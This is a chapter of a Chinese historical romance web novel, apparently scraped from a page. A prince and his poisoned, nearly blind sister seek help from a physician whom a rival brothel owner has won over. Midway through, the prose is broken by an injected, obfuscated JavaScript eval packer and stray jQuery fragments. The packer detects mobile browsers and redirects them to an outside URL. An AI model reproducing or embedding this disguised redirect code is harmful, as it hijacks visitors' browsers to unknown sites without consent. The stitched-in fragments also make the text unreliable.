随着神医萧无尘踏入京城大门,一场青楼之间的无声之战就开始了。
他的一举一动都在有心人的监视之下,不过萧无尘似乎早就习以为常,丝毫不放在心上。
自第一日起,萧无尘照例在京城闲晃,四处听曲,也会在酒饭间隙打听京城里琵琶技艺好的姑娘,热心力荐之人不少,但他有自己的章程,不会因为推荐之人多而特意去光顾。
起初两日,他都是听完便回客栈,未表现出任何偏好。
第三日,他去了暖香楼,点了最善琵琶的湘云姑娘,他听了一整日,入夜,并未留宿,照例回到客栈。
又光顾几家青楼之后,萧无尘再次踏入暖香楼,与湘云姑娘长谈一夜,出来时神色意犹未尽。
都说这暖香楼头牌湘云姑娘容色出众、热情风趣,不仅琴技了得,还会亲手制作琵琶,随便一根弦在手,轻拢慢拈就是一首绝佳乐曲,能笼络住神医的人也是正常。
在人们以为神医就要留宿暖香阁时,事情又有了变数。
那日清晨萧无尘的确是要回客栈收拾细软准备搬去暖香楼的,然而回客栈路上,街角某处院中传来一串琵琶声。
寥寥数音,简而不凡,回味无穷,弹奏之人的惆怅叹息,都藏在了婉转的曲调之中。
萧无尘回到客栈便坐立不安,心痒难耐,他纠结片刻,还是散开了原先打好的包袱。
他必须要知道这串琵琶声出自谁手!
几方打听下来,他才知晓那院子是潇湘苑头牌玉莲姑娘的养病之所,惊喜万分的他立刻亲自上门求见玉莲姑娘,却被对方以养病为由婉拒。
萧无尘在琵琶上可谓痴人一个,索性日日守于院墙之外,哪怕能听到玉莲姑娘闲时轻弹几个音,他也甘之如饴。
七日后,传来玉莲病愈已回潇湘苑的消息,此时的萧无尘哪里还记得曾经相谈甚欢的湘云姑娘,急急收拾包袱追随玉莲姑娘往潇湘苑去了。
……
道家神医萧无尘入住潇湘苑,定下了开诊之日。
那日清晨,端王府二门内驶出一辆马车,厚重车帘垂着,从外面看不清内里分毫。
马车内,宁安郡主祝熹宁掀开车帘一角,好奇地瞧着外间景色,她视物功能逐年退化,此时眼前似蒙了一层薄纱,但她依旧兴奋又新奇。
“阿兄,那一笼笼绿色的是什么吃食?好香!……呀,是路过花市了吧,这时节牡丹上市了?……咦?这里何时开了绸缎铺子,好温柔的颜色……”
祝玄曦一向耐心,无论陪着妹妹去往何地都会耐心讲解眼前看到的一切,而今日他却十分沉默。
祝熹宁自言自语一通,发现兄长异样,放下了帘子。
兄妹两人对面而坐,中间隔了一张茶桌,祝熹宁双手搭在桌沿上,倾身向前,她需要离得很近才能看清兄长的神情。
“阿兄生气了?”
祝玄曦回神,爱怜地轻拂妹妹额发,眼前少女容颜如画,一双眼眸澄澈如秋水,顾盼生辉,谁能想到她已几近失明了呢。
萧无尘没有留住,拿到神药的机会渺茫,看着妹妹对外间一切的渴望,祝玄曦自责万分。
“是阿兄无用。”
“怎会?阿兄是这世上最最优秀、对熹宁最最好的人!”
祝熹宁见兄长依旧愁眉不展,试着转移话题。
“听墨隐说了争夺神医的经过,阿宁对那位潇湘苑主好生佩服!听说她只比我大一岁是不是?”
祝玄曦脑中闪过一抹倩影,心中不由气恼。
马球赛那日他只觉她有趣,大长公主要他看顾一二,他顺手丢给小四,想到赛后她挑衅的眼神,哼,活像只张牙舞爪的花狸。
潇湘苑第一眼他便认出是她,纤韧如柳的身段即便隔了屏风他也不会认错,阮大将军的掌上明珠竟经营着京城数一数二的青楼,扮猪食虎与他虚与委蛇玩得炉火纯青,他无意为难女子,只好作罢。
他以为她经营青楼纯粹是无聊找乐子,却没想到她与他一样意在神医,还使计从他手里抢了去。
看着妹妹眼中光芒,他轻哼一声,“有何可钦的?不过是些小女子伎俩而已。”
“阿兄可别瞧不起我们小女子,你找了让人一见倾心、完美无缺的湘云姐姐,她找了神秘莫测、进退裕如的玉莲姑娘,怎就是耍伎俩了?”
“我谋得正大光明!”祝玄曦见妹妹维护一个陌生人,心中不服气。
“若如兄长所言,她就是阴谋了?可是在阿宁看来,那位姐姐无非更善于洞察人心而已。”
祝玄曦依旧愤愤难平,“她年岁不小,已然深谙世故,巧于周旋,心机过于深沉,除了那副皮囊,哪有少女样子。”
祝熹宁闻言没有立刻接话,她秀眉微微蹙起,面露不忍之色,“她必有不为人知经历,方致如此吧。”
“你还同情她?若无她插手,神医已在我掌控之下,你的药……”祝玄曦说到一半顿住,意识到妹妹是在开解自己,可错过了神医她怎会不伤心。
“阿兄,”祝熹宁伸手,纤弱手掌覆上兄长手背,“她必定也有重要之人需要医治,想要所爱之人安康喜乐,与你之心是一样的。”
祝玄曦没再说话,反握住妹妹的手,头转向窗外。
明知一切错在自己,却责怪旁人,他确实比她不如。
马车到潇湘苑门口就有人接应,将他们引至隐蔽些的侧门。
昨日苑主传信,神医挑了五位出价高的病患,今日会一一问诊一番再做决定。
祝玄曦知晓所选病患早已内定,但还是抱了希望,萧无尘虽医术一般,但诊病之能不差,让他把个脉瞧瞧也无妨,再者,他是这世上为数不多能联系到云虚子之人,光凭这一点,他也要陪阿宁走一趟。
马车驶入侧门,祝玄曦率先下车,确认妹妹被包裹严实,丝毫瞧不出身形才让她下来。
有下人将他们引入二楼厢房,一共五间,对应五位病患。
他们一进厢房便有下人端茶倒水,告知他们排在最后一位问诊,随后关门离开。
不多时,外头嘈杂声传来。
只听有人哭喊,“神医啊,求您救救我儿,求您了……”
之后便是“咚咚”的磕头声。
祝玄曦推开一丝门缝朝外看去,只见萧无尘那厮负手而立,眼神冷漠,他对这样的场面已司空见惯,随手轻轻一挥,便有人将哭喊之人拉走。
阿宁说得没错,求到神医这处,谁还不是为了至亲至爱之人。
听闻阮家三公子自小患有心疾,她应是为了他。
祝玄曦合上门,坐下陪妹妹静候。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875720|176310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一刻钟后,厢房门被敲响。
“请进。”
萧无尘推门而入,他一身道袍,颧骨高耸,面如菱石,一撇山羊胡飘逸蓬松,端的是一副道行高深的模样,若非知晓他底细,还真会被其外表所诓骗。
“小道见过世子殿下。”他见眼前病患带着帏帽,显是不想暴露身份,没有贸然称呼。
“免礼。”祝玄曦神色冷淡,示意他把脉。
萧无尘倒是不卑不亢,在郡主面前坐下,凝神静气,隔着丝帕开始把脉。
祝玄曦紧盯萧无尘神态,不愿错过分毫。
方一触到脉搏萧无尘便皱眉,继而似是不敢确信一般,凝力于指腹,反复推寻,一双眯缝眼里的诧异一闪而逝,他抬头,郡主薄纱掩面,他眼珠微转,似在犹豫什么。
“阿宁。”祝玄曦神色冷峻。
祝熹宁闻言会意,摘下帏帽,“还请神医诊治。”
萧无尘很快将目光投向祝熹宁双眼,祝玄曦心中微动,阿宁双眼与常人无异,只有知晓内情之人才知她视物有碍之事,萧无尘必是瞧出了阿宁病症。
萧无尘不语,又换了祝熹宁的左手把脉。
良久,方收手,他沉吟一番才道:“贵人有中毒之象,侵及五官,此时恐怕已波及双眼,其毒罕见,且时日久远,危矣。”
祝玄曦面上不动声色,负在身后的手已紧握成拳,萧无尘所言全中,阿宁十年前中的毒,那毒药当世罕见,专门侵蚀五官,中毒者先是失明,而后失去嗅觉,再后是听觉、味觉,直至五感全失,生不如死。
当年幸得解毒及时,并未当场毒发,但此毒难以根除,残余毒素随着阿宁年岁渐长依旧在起作用,此时是双眼,而后……他不敢往后想。
这些年他四处行走,为的就是帮阿宁找到解毒之法。
萧无尘见眼前两位贵人皆是神色凝重,便想要溜之大吉,他捋了捋胡须故作淡定,起身道:“诊事已毕,还请容本道仔细斟酌一番,结果稍后自会相告。”
言罢便躬身告辞,转身去开门。
“神医留步,”祝玄曦淡定出声,他知他不会选阿宁,也不与他兜圈子,“孤不求医治,只需几粒延缓毒性之丹药,必当重金酬谢。”
萧无尘无奈转身,堆起假笑,连连摆手,“恕仆医道未精,实是……实是无此丹药啊。”
祝玄曦微一挑眉,还是那条滑不溜秋的老泥鳅。
“不知云虚子道长可能解此毒?”
萧无尘摆着的双手顿住,眼神躲闪,“家师……仆实在不知……不知……”
厢房里空气凝结一般,萧无尘大气不敢出,世子倏然转身不再看他,他轻声告退试探,世子不语,他脚底抹油退了出去。
须臾,包厢外便有人宣布了神医的决定,他选定二号包厢的病患为其医治。
祝玄曦并无意外,等周边包厢之人陆续离开后,他才领着头戴帏帽、紧裹披风的妹妹离开。
经过回廊时他脚步微顿,似有所觉,随即示意外面等候的丫鬟带熹宁先走,他则一个转身折回厢房对面的一条暗廊里。
他的出现堵住了暗廊里所有光线,里面人轻呼一声。
狭小廊道,果然藏了人!
良久,他才幽幽开口,“虫姑娘,别来无恙。”